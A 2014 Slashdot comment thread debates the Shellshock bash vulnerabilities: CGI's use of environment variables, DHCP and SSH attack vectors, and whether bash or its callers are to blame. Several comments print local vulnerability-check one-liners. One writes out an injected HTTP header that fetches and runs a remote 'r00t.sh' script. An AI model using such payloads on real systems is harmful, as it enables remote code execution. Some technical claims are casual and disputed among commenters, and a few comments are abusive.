    2. Re:Call it what you will by benjymouse · · Score: 4, Interesting

      There's nothing in the CGI specification that requires or suggests that there needs to be any kind of intermediary in handling the reqests aside from the web server. The environment is a perfectly legitimate way of passing data, and if the web server calls the CGI safely (i.e. pipe()/fork()/exec()) there's no reason for a transient interpreter like bash to get involved.

      The BIG problem here is that environment variables are inherited by default by and child processes. A semi-persistent mechanism is being used (by CGI) to pass what should have been transient data.

      The passed values from CGI to the command processor is intended ONLY for the command processor. This is a specification vulnerability almost on par with PHP register_globals: If you know that a certain sub-process *also* uses environment variables to pass parameters, you can poison those environment variables from the web context.

      PHP register_globals was bad exactly because of this: Sometimes a script would assume that a variable having no value (e.g. "CURRENT_USER") meant that the user had not logged on; and conversely that a value meant that the user had indeed authenticated. Presto: Inject "CURRENT_USER" as a request parameter and PHP would register a global variable which would cause the test to believe that you were logged on.

      The CGI way is very, very similar: Environment variables are indeed "global" and it is very difficult for the immediate receiving processor to check whether extra variables have been set (as it itself could inherit variables from its parent process).

      The wrong mechanism (a semi-persistent environment) is being used to transfer what should have transient data. That is a vulnerability in the spec.

      --
      Reading slashdot one-liner: (irm http://rss.slashdot.org/Slashdot/slashdot).rdf.item | fl title,desc*
    3. Re:Call it what you will by c · · Score: 1

      The wrong mechanism (a semi-persistent environment) is being used to transfer what should have transient data. That is a vulnerability in the spec.

      Hm. Okay, I'll buy that argument.

      In practice, if the CGI developer follows best security practices it shouldn't be a more significant problem than any other "untrusted input" path, and whatever invokes the CGI does have the option of cleaning up the environment instead of accepting the default, but it's fair to say there's a flaw in the spec.

      --
      Log in or piss off.
    4. Re:Call it what you will by Xylantiel · · Score: 1

      While I tend to agree, I think is some more subtlety. In its original conception, CGI probably did consider the web inputs as essentially session-level data, which would warrant what you refer to as "semi-persistant" storage in the environment. I would say that web programming has evolved some in modern usage, and a transient-data model as you suggest is probably more appropriate.

      But there is plenty of blame to go around. Bash, or anything else for that matter, should not interpret otherwise completely unused environment data in such a way that it gets executed. There are plenty of other contexts outside CGI where that is a problem. Environmental variables are a well-established way for communicating data from parent to children processes. One that is, sometimes conveniently, agnostic about whether that data is intended for or a direct child or the child of a child. But if a program is performing some function based on the content of *any* environmental variable rather than the content of a specific variable or variables, that is likely to cause trouble.

    5. Re:Call it what you will by Anonymous Coward · · Score: 0

      So - let me get this right:

      - A spec says 'pass data via the environment for given use X'
      - Someone uses a program in the given use X, not seeing how it uses the environment
      - It's the spec's fault?

      Environment variables *can be risky* because of this problem - but only because the user/programmer/etc *doesnt use them properly* -
      It doesn't mean they are flawed at base. Ditto register globals in PHP - it is only unsafe because code is crappy/bloated/etc.

      By that same line of reasoning, we shouldn't allow 'rm -rf' because someone *might* make a typo, or any other line of stupid argument.

    6. Re:Call it what you will by Anonymous Coward · · Score: 0

      Are you suggesting that the -c option that many shells have is also "giving the finger to basic secure programming practice"? The command line arguments are just as external as the initial environment variables.

    7. Re:Call it what you will by shutdown+-p+now · · Score: 1

      Yes, it's the spec's fault, because it sets up the user for silent but catastrophic failure, doing something that is not in any obvious way related to the problem.

  11. Re:Bash is a very crappy programming language. by Anonymous Coward · · Score: 0

    Yes - it might well be the most popular programming language on Linux, and much of what you see when your system is starting up for example is written in bash.

  12. Feature creep by Anonymous Coward · · Score: 0

    Alas, this is what comes of feature creep. There are lots of times I wish that Bash had evolved like a normal programming language rather than a simple shell with features bolted on via what were gaps in the syntax in previous versions. I miss Rexx, which is the OS/2 programming language that also serves as a secondary command shell.

  13. Re:Bash is a very crappy programming language. by Anonymous Coward · · Score: 0

    Compared to DOS Shell.

  14. Re:Bash is a very crappy programming language. by Anonymous Coward · · Score: 0

    Bash is a "programming language"?

    Yep! All those files where you see #!/bin/bash at the start, those are written in it.

  15. Quick check string by k.a.f. · · Score: 2

    Is there an updated cut-and-paste toy command line to establish quickly whether you're still vulnerable to these variants, or are the details still embargoed?

    1. Re:Quick check string by alienmole · · Score: 1

      You don't need a test. Check if you allow bash to be invoked remotely by untrusted users, ever, directly or indirectly. If you do, find the responsible architect, pour a cup of soda over his head, demote him to level 1 support, and fix your systems.

    2. Re:Quick check string by mtbrandao · · Score: 2

      env X='() { (a)=>\' sh -c "echo date"; cat echo If the date is displayed, a file named "echo" is created (and you are vulnerable)

    3. Re:Quick check string by Anonymous Coward · · Score: 0

      Per TFA, they are not releasing details until maintainers have had a chance to patch. So, no simple test yet.

    4. Re:Quick check string by Anonymous Coward · · Score: 1

      Instructions for testing for most of them:
      http://lists.gnu.org/archive/html/bug-bash/2014-09/msg00238.html

      Note that the bash maintainers did release a patch for the later two CVE's on Saturday about a day after that was written, with a patch that very similar to what Red Hat used on their Friday patch.

      So basically any distribution that didn't have a secure bash update by Sunday that fixed all four (known) CVE's should not be used as a server (Apple OSX is in this category...).

      The bash official maintainers were definitely aware of that discussion, my guess is that they were worried it could affect legitimate bash scripts on Friday but then on Saturday decided they had no choice since everyone knew it was leaking like a sieve even if it's not immediately obvious if they're likely to be easily exploitable, AFAIK the only exploit-in-the-wild so far uses only the first CVE.

    5. Re:Quick check string by slashdice · · Score: 1

      That's the second vulnerability, this article is about the third (or fourth?) vulnerability.

      --
      Copyright (c) 1990 - 2014 Dice. All rights reserved. Use of this comment is subject to certain Terms and Conditions.
    6. Re:Quick check string by sl3xd · · Score: 1

      Does it have to be soda, and does it have to be in the head?

      What about a nice, hot cup of McDonalds Coffee in the crotch?

      OK, fine... But I'm going to pick a soda with the stickiest ingredients available.

      --
      -- Sometimes you have to turn the lights off in order to see.
    7. Re:Quick check string by Zontar+The+Mindless · · Score: 1

      Dump a glass of orange juice in his lap about 30 minutes into a long-haul flight. I recommend iced for best effect.

      --
      Il n'y a pas de Planet B.
    8. Re:Quick check string by Zontar+The+Mindless · · Score: 1

      (Something I've been waiting a long time to see happen to someone else. Long story, heh.)

      --
      Il n'y a pas de Planet B.
    9. Re:Quick check string by mtbrandao · · Score: 1

      There are a lot of vulnerabilities now, and a lot of test strings.

      https://github.com/mubix/shellshocker-pocs/

  16. Re:Bash is a very crappy programming language. by Anonymous Coward · · Score: 0

    DOS Shell (the "windows-y" "GUI-y" thing that came with DOS 5)?

    Or batch files? :)

  17. Re:highly damaging to linux on the server by jonwil · · Score: 1, Insightful

    Except that Windows probably has just as many holes only you dont know about them because they aren't public or because Microsoft has decided not to invest the engineering resources to fix them or because Microsoft has fixed them in a patch but the actual security flaw is still unknown publicly.

    At least with Linux, if a security hole is found (and made public or released to experts in the security community or to the relavent developers or whatever), the number of people who are able to investigate and fix the hole (and make official or unofficial fixes available) is (in most cases) significantly larger than the number of people who would e able to deal with issues in Microsoft code. And the Linux guys can have patches out much faster (and they can get into distros fairly fast too)

  18. Can someone explain how someone is exploited? by MMC+Monster · · Score: 1

    I'm a little unclear how I, as a user, can get exploited by this. (I know that it's bash (which pretty much makes MSWindows users immune), but what about the rest of us?)

    Do I need to just browse a website on my computer?
    Do I need to install Apache/PHP or some other server and open an appropriate port on my system?
    Do I need to have port 22 open?
    Do I need to have a root user?

    --
    Help! I'm a slashdot refugee.
    1. Re:Can someone explain how someone is exploited? by X0563511 · · Score: 5, Informative

      You need to have a network service listening that passes data to bash (or arbitrary shells, though that would be far rarer). For example, an Apache HTTP server using bash as a CGI to process requests.

      In general this is a bad thing, with a few exclusions for items that require it by their very purpose - for example SSH.

      Note however that in the SSH example, the 'passing-stuff-to-shell' is post-authentication - so if they can exploit it, they can already log in as you anyways and do what they want.

      --
      For large sets, this will be our guide even unto death, for the LORD will work for each type of data it is applied to...
    2. Re:Can someone explain how someone is exploited? by DarkOx · · Score: 2

      None of that, if you have a vulnerable version of bash and use DHCP that is enough

      --
      Repeal the 17th Amendment TODAY! Also Please Read http://www.gnu.org/philosophy/right-to-read.html
    3. Re:Can someone explain how someone is exploited? by ruir · · Score: 3, Informative

      There has been much FUD, but not really much technical details in the most common sites. First, this news is inflammatory behind retardation, as it does not make clear that the 2nd patch was officially out by last Thursday or Friday for Debian at least. But then, lets not get the truth on the way of a "news" article, oh noes. As for ways of getting "exploited" they are rather limited. You have to have CGI bash scripts installed on you apache, and CGI enabled, which in more modern distros are far and between. So this will mostly affect old servers. The ways which this works to other services is not clear. Also, it only allows exploit to the same user running the service. I doubt a lot it will allow escalation with setuid scripts, because, as far as I remember, bash has not allowed for decades to mark scripts with setuid due to security problems.

    4. Re:Can someone explain how someone is exploited? by Anonymous Coward · · Score: 0

      If you have a vulnerable version of bash, and /bin/sh is symlinked to it, and you use dhclient, and the attacker is already on your LAN.

    5. Re:Can someone explain how someone is exploited? by Qzukk · · Score: 1

      Apache HTTP server using bash as a CGI to process requests

      Or any webserver using any CGI that calls system() to execute anything in a computer where the system shell is bash.

      --
      If I have been able to see further than others, it is because I bought a pair of binoculars.
    6. Re:Can someone explain how someone is exploited? by buchner.johannes · · Score: 3, Interesting

      Not just CGI, also DHCP became vulnerable: https://www.trustedsec.com/sep...
      as pointed out by markus_baertschi above.
      So it is relevant for the average end-user.

      --
      NB: The message above might reflect my opinion right now, but not necessarily tomorrow or next year.
    7. Re:Can someone explain how someone is exploited? by Anonymous Coward · · Score: 3, Informative

      You have to have CGI bash scripts installed on you apache

      No. This can affect you if you have a Web-facing server-side application, written in any programming language, that calls out to a shell, and the default shell for 'a shell' on that system is bash.

    8. Re:Can someone explain how someone is exploited? by Anonymous Coward · · Score: 0

      Hijacked access point should be enough for an exploit.

    9. Re:Can someone explain how someone is exploited? by Anonymous Coward · · Score: 0

      dhclient uses bash directly iirc. Not sh

    10. Re:Can someone explain how someone is exploited? by squiggleslash · · Score: 3, Interesting

      Kinda. With "Mark 2" it becomes considerably more difficult, as you have to find a way to set an environment variable to the same name as a command that'll be executed - at least, from the proof of concept exploits I'm seeing. So even if a badly configured webserver sets HTTP_HOST to "() { wget http://192.168.0.1/r00t.sh ; chmod +x r00t.sh; ./r00t.sh; }", unless your script actually tries to run a program called HTTP_HOST it shouldn't be called.

      (If I'm wrong, expecting angry flames now ;-) Please though include details of why.)

      --
      You are not alone. This is not normal. None of this is normal.
    11. Re:Can someone explain how someone is exploited? by Anonymous Coward · · Score: 0

      That turns out not to be the case:
      User markus_baertschi (259069) on Monday September 29, 2014 @08:56AM (#48018485) above posted a link to a proof of concept where if your bash is vulnerable you could be affected by a network service:
      https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/
      Which isn't to say that everyone's dhcp server is broken but is an important alarm that you don't need to be running a cgi server to be at risk. You could be running a cable-modem router with an open external port that gets exploited and proceeds to play silly buggers on the internal network including spreading itself via your laptop or tablet to any unpatched network you go on that has a web management interface and an unpatched busy-box install from 2003.

    12. Re:Can someone explain how someone is exploited? by Anonymous Coward · · Score: 0

      That's not true. You can configure an ssh private/public key pair so that anyone logging in using the private key can only execute a specific command. I've used this with netcat to setup tunnels to HTTP proxies and didn't mind sharing the private key with friends, since the worst they could do is use my university's proxy.

      The shellshock exploits allow this to be sidestepped, giving a general-purpose shell to a user who is only supposed to be able to execute a specific command.

    13. Re:Can someone explain how someone is exploited? by X0563511 · · Score: 1

      That sounds right from the things I've been reading since.

      If you DO use those headers to pass things to your code (eg cookie handling with the Cookie: header)... bad stuff can happen there when you go to use the cookie later on in the script.

      --
      For large sets, this will be our guide even unto death, for the LORD will work for each type of data it is applied to...
    14. Re:Can someone explain how someone is exploited? by X0563511 · · Score: 1

      My very first sentence included that. "You need to have a network service listening that passes data to bash" though I suppose your DHCP client isn't technically listening.

      --
      For large sets, this will be our guide even unto death, for the LORD will work for each type of data it is applied to...
    15. Re:Can someone explain how someone is exploited? by Anonymous Coward · · Score: 0

      http://lcamtuf.blogspot.com/2014/09/quick-notes-about-bash-bug-its-impact.html

    16. Re:Can someone explain how someone is exploited? by Anonymous Coward · · Score: 0

      No. This can affect you if you have a Web-facing server-side application, written in any programming language, that calls out to a shell, and the default shell for 'a shell' on that system is bash.

      Only if your web-facing server-side application is so insanely badly written that it calls out to shell using unfiltered user input, which is something that was guaranteed to be a problem before this bug ever existed.

      This hysteria is unseemly.

    17. Re:Can someone explain how someone is exploited? by ruir · · Score: 1

      Pity you are an AC. Indeed, if you do not filter input at all, bad things are bound to happen. You might as well give a bash shell to any stranger.

  19. highly damaging to linux on the server by Anonymous Coward · · Score: 2, Insightful

    Those of us who've been using Unix, BSD/Solaris, and Linux for the past few decades never had delusional thoughts of vaunted security of these systems in the first place.

    Any system will have security issues, as most software is flawed - and systems tend to comprise of dozens if not hundreds of software components.

    This is ignoring hardware errors (most people security conscious have been dealing with hardware erratas for decades too), because more often than not those hardware issues are far easier to exploit than software ones (from a time-to-discover exploit perspective).

    Anyone stupid enough to re-evaluate using linux because they've only JUST realised they have to consider security, are going to be just as incompetent at running a system no matter what kernel/OS they migrate to. Good luck to 'em.

  20. Still waiting... by Anonymous Coward · · Score: 2, Insightful

    Still waiting for examples of how to exploit this (remotely or otherwise), without using an existing hole to do so.

    The most repeated example is letting the web server call a shell script. Yeah, we did that 15 years ago, and WE KNEW it was a stupid thing to do. There are so many ways of script injection, and nobody gets their quotes perfectly right. I thought security had become better in 15 years, but if that example is the best they have, apparently nothing has changed.

    Seriously, if that example matters to anyone but a few morons, I'd have to agree with the astroturfers. Microsoft did improve their security between Windows 95 and 7. It's still not perfect, but at least they aren't running bloody shell scripts from CGI.

    The rest of the examples are passing unchecked user input to the shell, either from PHP or even the DHCP client. That's security 101 fail.

    Sudo has cleared environment variables for at least a decade. Because passing unchecked user input across the user/root barrier is a security hole. The ability to run setuid shell scripts were removed from major *nix kernels around the same time, for the same reasons. So, if both sudo and kernel developers realized a decade ago that passing unchecked environment variables across the user/root barrier was a security problem, how could anyone think that doing the same thing between the unauthenticated user and a shell script through the web server would be any better.

    You need to trust unauthenticated people even less that sudo users. At least with sudo users you know exactly who to hit with a clue-by-four.

    1. Re:Still waiting... by Anonymous Coward · · Score: 0

      If your default shell is bash:

      <?php system("ls"); /* owned */ ?>

    2. Re:Still waiting... by Anonymous Coward · · Score: 0

      but at least they aren't running bloody shell scripts from CGI
      No they give you .net which is a MUCH more expansive API to do things with.

    3. Re:Still waiting... by Anonymous Coward · · Score: 0

      "Hi, this is Bob from IT security. Regarding your latest commit, would you please document how you have sanitized your user inputs before calling system()?"

    4. Re:Still waiting... by K.+S.+Kyosuke · · Score: 2

      And it comes for a price: PowerShell isn't exactly a speed demon.

      --
      Ezekiel 23:20
    5. Re:Still waiting... by dotancohen · · Score: 2

      Still waiting for examples of how to exploit this (remotely or otherwise), without using an existing hole to do so.

      Plesk has a test.cgi file enabled by default. Here, go exploit all these hosts:
      https://www.google.com/search?...

      --
      It is dangerous to be right when the government is wrong.
    6. Re:Still waiting... by Anonymous Coward · · Score: 0

      Yes, that's what we call "unchecked input".

      When unchecked input is passed to an SQL server, the security hole is in the code that passes the input without checking, and the developer who wrote it is the moron.

      When we replace the SQL server with bash, suddenly bash is the problem? why aren't we talking about the security hole in certain DHCP clients?

    7. Re:Still waiting... by cryptizard · · Score: 1

      The proper analogy would be if there was some magic string you could pass to your SQL server that would cause it to erase your entire hard drive. That is a problem with the SQL server, not with sanitizing inputs. The same thing is happening here with bash.

    8. Re:Still waiting... by Anonymous Coward · · Score: 0

      Actually passing unchecked input to a SQL server should work fine.
      It is indeed the problem of an SQL server if you can not pass it values as opaque. i.e. there are databases where you actually have to create SQL statements with the values inside it encoded as text. A real database will have a way to pass an sql statement with placeholders, and special functions to pass the opaque values in, mostly through prepared-statements.

      My rule is, never sanatise your input, always make sure that any value passed is handled as opaque.

      Don't be the idiot that sanatise data base input so that people have to change their own name because it has a apostrophe in their name.

    9. Re:Still waiting... by Anonymous Coward · · Score: 0

      Checking an IP address or a host name is a lot simpler than a Scottish name. No parenthesizes or quotes are allowed in either.

      In the case of an SQL server, we have something called parameters, which separate data from code. That is the correct way of solving the problem, but no such thing exists for a shell script. Because shell scripts weren't designed for anything but sysadmin use. You could say that shell scripting wasn't really designed in the first place, just look at how many scripts break when they meet a filename with a space. GNU find and xargs even have the non-standard -print0 and -0 arguments, because the original find and xargs weren't able to handle space or newline.

      So write business apps in a better language than shell scripts, for the sake of the Scottish, and validate those IP addresses before passing them to bash.

    10. Re:Still waiting... by cryptizard · · Score: 1

      You can't sanitize anything, the web server sets the environment variables (based on the HTTP request) before your script can even run. Just invoking the shell causes the arbitrary code it execute. So maybe it is a problem with CGI or the Apache server, but that is how the standard was written and they are not doing anything "wrong".

    11. Re:Still waiting... by Eunuchswear · · Score: 1

      Yup I can see that:


      $ cat .../test.cgi
      #! /usr/bin/perl
      ...

      Funny looking bash script.

      --
      Watch this Heartland Institute video
    12. Re:Still waiting... by alienmole · · Score: 2

      As the parent pointed out, use of CGI is basically "an existing hole."

    13. Re:Still waiting... by ray-auch · · Score: 1

      Would be better if you stopped waiting and started checking.

      10secs on google finds lists of shellshock attack vectors including:

      qmail, procmail, exim, some inetds, ssh, openvpn, dhclient

      That is just some of the ones the good guys have found and advertised so far...

    14. Re:Still waiting... by Anonymous Coward · · Score: 0

      I was thinking .net aspx scripts but your way works too.

    15. Re:Still waiting... by Anonymous Coward · · Score: 0

      NO, The lazy php and JS programmers than make form after form with "validation" that is little more than a !="".

    16. Re:Still waiting... by K.+S.+Kyosuke · · Score: 1

      Well, given that there's no need to do web through CGI anymore, I didn't think that web would be the proper use case to compare. Comparing CGI shell scripts to ASP.NET is really disingenuous.

      --
      Ezekiel 23:20
    17. Re:Still waiting... by Anonymous Coward · · Score: 0

      Oh, now it needs to be the entire hard drive. So this isn't enough for such a magic string?

      '; drop table students --

    18. Re:Still waiting... by Anonymous Coward · · Score: 0

      That's a lot of programs calling bash without sanitizing inputs. Those programs should of course all be fixed.

      But what I asked for was an example of how to use this without going through an existing security hole, like the ones you listed.

  21. Toss Android ones in too (it's Linux also) by Anonymous Coward · · Score: 0

    Exploits galore on ANDROID (= Linux core) since it's inception so the trend you speak of's 2005 onward to prove your point. Exploits on Android have been coming out almost daily since then.

    1. Re:Toss Android ones in too (it's Linux also) by Anonymous Coward · · Score: 0

      English motherfucker do you speak it?

  22. Re:Bash is a very crappy programming language. by dingen · · Score: 2

    Of course it is.

    Even "sed" (the text filtering utility) is a programming language.

    If you have mechanisms for comparison, branching and buffering, you are dealing with a programming language.

    --
    Pretty good is actually pretty bad.
  23. Re:Bash is a very crappy programming language. by gmuslera · · Score: 0

    The vulnerability is in the language parser, not the language design by itself. Imagine that in java (or whatever is a "proper" designed language for you, just that don't be PHP) you put some weird syntax that makes the compiler to execute injected code.

  24. ShellShock checker by Sits · · Score: 2

    From Eric Blake's bug-bash post

    bash -c "export f=1 g='() {'; f() { echo 2;}; export -f f; bash -c 'echo \$f \$g; f; env | grep ^f='"

    If you see anything like the following:

    bash: g: line 1: syntax error: unexpected end of file
    bash: error importing function definition for `g'
    1
    2
    f=1
    f=() { echo 2

    you're still vulnerable. There may be other issues the above does not cover.

  25. Time to retire bash! by AqD · · Score: 0

    Why are people still using the old, 20 (or 30 already) years old piece of crap? It's not even on par with PowerShell, yet there are already many interpreters on Unix that are quite suitable for the task: Python, Ruby, Scheme, BeanShell etc. All they need is a more convenient API to control processes.

    Besides the language features, a bash replacement could also integrate or even unify the OO components such as those in GNOME and KDE. It's a lot more efficient and potentially more scalable to do things in component-level (independent from process) rather than process-level: try find|grep on 10,000 text files on SSD and you'd know what I mean; most of time is completely wasted on process spawning rather than anything useful.

    1. Re:Time to retire bash! by Eravnrekaree · · Score: 1

      No. The bugs we see in Bash have analogs which have been found in most software implementations, remember all of the Bugs found in Java, Python and so on, this is not a Bash only thing. Bash implements a programming language of its own (its own extensions to Bourne), and implements functionality that is unique and different from other languages. When you want the Bash programming language, Python isnt going to do that for you. What needs to be done is to fix the problem in the implementation and its much quicker to fix the current code base rather than to rewrite. the problem here is the implementation, not the language. The language itself is not the prroblem, is fine for what it does, its some problems in the implementation.

    2. Re:Time to retire bash! by slashdice · · Score: 1

      I agree that python doesn't cut it. But node.js is a better bash than bash. We replaced all our shell scripts, perl scripts, etc with node.js a couple months ago. Since it's javascript, all our front-end developers are comfortable writing system admin utilities. And since it uses non-blocking, it's faster than bash or C. There are npm modules to do most things you need to do already.

      --
      Copyright (c) 1990 - 2014 Dice. All rights reserved. Use of this comment is subject to certain Terms and Conditions.
    3. Re:Time to retire bash! by K.+S.+Kyosuke · · Score: 1

      All they need is a more convenient API to control processes.

      Have you seen scsh?

      --
      Ezekiel 23:20
    4. Re:Time to retire bash! by Anonymous Coward · · Score: 0

      I personally prefer rc (https://en.wikipedia.org/wiki/Rc)

    5. Re:Time to retire bash! by Anonymous Coward · · Score: 0

      It's not even on par with PowerShell

      can't tell if this is a troll or not.

    6. Re:Time to retire bash! by Anonymous Coward · · Score: 0

      Python? You serious? Bye bye one liners with for loops or anything else. I really doubt anyone wants to have pretty code enforced on them for something as simple as iterating through a few numbers one time, ever.

    7. Re:Time to retire bash! by goarilla · · Score: 1

      I guess you're part of the systemd team.

    8. Re:Time to retire bash! by K.+S.+Kyosuke · · Score: 1

      I wonder how many Duff's devices are in it. ;-)

      --
      Ezekiel 23:20
    9. Re:Time to retire bash! by Eravnrekaree · · Score: 1

      http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1912

      There have been a dozen remote code exploits in Python over the years. So it begs the question, why is everyone picking on Bash when most languages have these problems?

    10. Re:Time to retire bash! by reikae · · Score: 1

      find|grep spawns two processes. find -exec grep is probably what you meant. I think something like "grep xxx $(find yyy)" should produce the same result without huge amounts of forking. Unless command line length has a practically reachable limit. I'm not sure about that.

    11. Re:Time to retire bash! by Anonymous Coward · · Score: 1

      Geek around in PowerShell for a couple of weeks and you never want to go back to the ancient UNIX shells. :)

    12. Re:Time to retire bash! by Waffle+Iron · · Score: 1

      Python? You serious? Bye bye one liners with for loops or anything else. I really doubt anyone wants to have pretty code enforced on them for something as simple as iterating through a few numbers one time, ever.

      $ python -c 'for x in range(3): print "One"; print "Liner!"'

    13. Re:Time to retire bash! by Anonymous Coward · · Score: 0

      Yeah, I was getting all prepared to hear that there is a crying need for a PID 1 command interpreter.

      The thing I *really* anticipate seeing soon is a storm of vulnerabilities show up in systemd.

    14. Re:Time to retire bash! by alienmole · · Score: 0

      Do you have some remedy for the desire to claw out my own eyeballs that comes from being forced to use Windows?

    15. Re:Time to retire bash! by Richy_T · · Score: 1

      It does. I reach it often. Worrying about forking is often a premature optimization that only the OCD inflicted worry about on most modern systems. The same with those who worry about cat|

    16. Re:Time to retire bash! by TangoMargarine · · Score: 1

      Since it's javascript, all our front-end developers are comfortable writing system admin utilities.

      Ummm...are you saying that's a good thing? I strongly suspect that if I passed that comment by the few systems guys I know, they would start twitching.

      --
      Unity? Screw that: XFCE. Slashdot Beta? Screw that: SoylentNews. Australis? Screw that: Pale Moon. UX developers DIAF
    17. Re:Time to retire bash! by Anonymous Coward · · Score: 0

      No no remedy at all, little troll...Please do go ahead and claw them out.

    18. Re:Time to retire bash! by MadMaverick9 · · Score: 1

      The latest version of scsh is 0.6.7, released May 16, 2006.

      bash is actively developed. scsh is a dead project.

      Next time you recommend something, I strongly suggest you look at the date of the last release and the date of the last commit first.

    19. Re:Time to retire bash! by K.+S.+Kyosuke · · Score: 1

      And, pray tell, how is that relevant for the demonstration of a fact that it already has been done twenty years ago (as a subject of serious research, in fact)? Where do you see me "recommending something"? I strongly suggest that you read things before replying.

      (BTW, the latest commit is four days old.)

      --
      Ezekiel 23:20
  26. Re:Bash is a very crappy programming language. by Anonymous Coward · · Score: 1

    The complexity of the language syntax drives the complexity of the language parser.

  27. kids these days... by Thud457 · · Score: 2

    never had problems like this with CCP.

    --

    the preceding comment is my own and in no way reflects the opinion of the Joint Chiefs of Staff

    1. Re: kids these days... by Anonymous Coward · · Score: 0

      Really?? The Chinese Communist Party is a bunch of corrupt braindead idiots and should all be shot as far as I'm concerned.

    2. Re:kids these days... by Dcnjoe60 · · Score: 1

      never had problems like this with CCP.

      How do you know? CP/M had a shorter market life than it took to discover this bug.

    3. Re:kids these days... by Opyros · · Score: 1

      But in Soviet Russia, CCCP has problems with you.

  28. Richard Stallman protests the name Shellshock by Anonymous Coward · · Score: 4, Funny

    You'd better call it the GNU/Shellshock security vulnerability!

  29. Re:highly damaging to linux on the server by Anonymous Coward · · Score: 0

    Unix security model with almighty root is horribly broken. You have to use band-aids like SE with that. Windows does not use such a mathematically unsound design from the seventies.

  30. Re:Bash is a very crappy programming language. by serviscope_minor · · Score: 2

    Even "sed" (the text filtering utility) is a programming language.

    Indeed it is. It is a fantastic Turing tarpit. It was never ever ever designed to be turing complete and the feature set is geared towards doing nothing but batch search and replace.

    Naturally this means that people like to program interesting things in it for fun. Some of the most impressive are implementations of dc and sokoban.

    --
    SJW n. One who posts facts.
  31. Still waiting... by Anonymous Coward · · Score: 1

    A dhcp client passes values (like its new hostname) from the dhcp server to an environment variable before executing a shell script to setup the hostname, resolv.conf, etc.

    When you are connecting to a public wifi hotspot you may get comprised because of this bug.

  32. Why is this a bash bug? by Attila+the+Bun · · Score: 2

    Why does bash have to worry about security? It's just a shell, a thin interface supposed to execute whatever commands it receives. Surely the bug lies with Apache et al. for not properly censoring the data they receive from outside and send to bash for execution.

    I understand that the exploit works by appending malicious commands after a function definition contained in an environment variable. The environment variables aren't meant to contain anything more than the function, so executing the extra code is a bug. In that sense the bug belongs to bash. But the shells were never designed to be secure against this kind of attack, and as we're now discovering there are all kinds of related vulnerabilities. Server software such as Apache is made to be secure: it has to worry about sending arbitrary commands to bash, so why not worry about setting arbitrary environment variables too?

    1. Re:Why is this a bash bug? by cryptizard · · Score: 1

      It's just as big of a problem with privilege escalation though, which bash should have been designed to protect against.

    2. Re:Why is this a bash bug? by dkf · · Score: 2

      Why does bash have to worry about security?

      Because if it is installed as /bin/sh (fairly common), it gets called in a great many places because of the OS APIs system() and popen(), which are both defined to use /bin/sh on Unix. Much of the reporting about it has been more than a little breathless, but that's journalists for you.

      Not everything is vulnerable. CGI is not inherently vulnerable (it could use execve() directly) and the called code need not use bash ever. But it's still a serious problem as anything that explicitly requires bash is also definitely broken: we want it fixed ASAP. (A start would be to never process environment variables for function definitions during startup, especially when running as /bin/sh...)

      --
      "Little does he know, but there is no 'I' in 'Idiot'!"
    3. Re:Why is this a bash bug? by Anonymous Coward · · Score: 1

      Wow, you Linux faggots will do anything to keep your precious piece of shit faggot OS from looking bad won't you? "Well it's not really OUR fault that the programmer was stupid enough to let the shell process arbitrary code. It's YOUR fault for having arbitrary code!"

      Whiny little FOSSfags fapping each other to sleep while tears of failure slide down your cheeks.

    4. Re:Why is this a bash bug? by Anonymous Coward · · Score: 0

      bash shouldn't have been used in these contexts. It is useful to have a shell which is designed for direct interactive use, which doesn't have the requirements placed by extreme environments. All these exploits revolve around using bash with other programs: cgi, dhcp, ssh, su, sudo. In each case the other program is taking data from an untrusted source and passing it unmodified to bash. How is bash supposed to know it didn't come from the logged on interactive user? Maybe the programs which KNEW they were dealing with untrusted data should have been the ones responsible for validating it. For example, both su and sudo have the capability of dropping everything from the source environment because they know that they are crossing a security barrier (unfortunately both also have modes which do copy the untrusted data, and ubuntu uses those modes by default). Also, ssh is supposed to have a feature where it only copies white-listed variables with validated contents. And sudo can regexp validate the full command line, but that requires significant involvement by the admin.

    5. Re:Why is this a bash bug? by Anonymous Coward · · Score: 1

      And this is why a command line shell should be an optional extra in an operating system. The system should be able to work without it and having operating system APIs that are explicitly there to call a command line shell is lunacy.

  33. Still waiting... by Anonymous Coward · · Score: 0

    I failed with reading sorry.

    But I do want to say that passing unchecked user input to something else is not a security fail.
    Interpreting user input without sanity checking is security fail.

    For example Johny drop tables should be correctly put into table, because names can contain anything. You know how many Scottish people can't use their actual name because of this 'sanity checking'?

  34. Re:Bash is a very crappy programming language. by Eravnrekaree · · Score: 1

    The design of the language (which is fine by the way, its different, but its fine), has absolutely nothing to do with these bugs.

  35. Re:highly damaging to linux on the server by jones_supa · · Score: 1

    Except that Windows probably has just as many holes only you dont know about them because they aren't public or because Microsoft has decided not to invest the engineering resources to fix them or because Microsoft has fixed them in a patch but the actual security flaw is still unknown publicly.

    Innocent until proven guilty. All I see is that the Microsoft vulnerabilities are no more in the headlines.

    You could as well say that Heartbleed and Shellshock are just scraping the surface, and are an indicator that open source might have more dragons lurking.

  36. Re:highly damaging to linux on the server by Anonymous Coward · · Score: 0

    [Citation Needed]

    Oh you have none, you're just a shill.

  37. Proof of Concept Code .. by lippydude · · Score: 1

    # don't work ..
    env X='() { :; }; echo "CVE-2014-6271 vulnerable"' bash -c id

    # don't work ..
    env X='() { (a)=>\' bash -c "echo date"; cat echo

    # don't work
    bash -c 'true EOF EOF EOF EOF EOF EOF EOF EOF EOF EOF EOF EOF EOF EOF' echo "CVE-2014-7186 vulnerable, redir_stack"

    # don't work ..
    (for x in {1..200} ; do echo "for x$x in ; do :"; done; for x in {1..200} ; do echo done ; done) | bash || echo "CVE-2014-7187 vulnerable, word_lineno"

    # don't work ..
    foo='() { echo "CVE-2014-6277 vulnerable"; }' bash -c foo ref

    1. Re:Proof of Concept Code .. by Anonymous Coward · · Score: 0

      "CVE-2014-6277: As of 29 September 2014, the details of this additional vulnerability have not been made public." - wiki

      Thanks. There are no details of it on your ref.

  38. Already mitigated on Debian, Ubuntu, RHEL, Fedora by Anonymous Coward · · Score: 1

    The following O.Ses have disabled environment functions entirely, and should be safe: NetBSD, FreeBSD. This is known to break the test suites of some free software, which will be fixed eventually.

    The following O.Ses. doesn't use bash for /bin/sh, system() and popen() by default and are a lot safer than the other Linux distros against exploitation of Shellshock: Debian, Ubuntu. Unless the local admin was foolhardy enough to change the /bin/sh symlink to /bin/bash because of third-party crap. Then, he is just as screwed as any user of the other Linux distros.

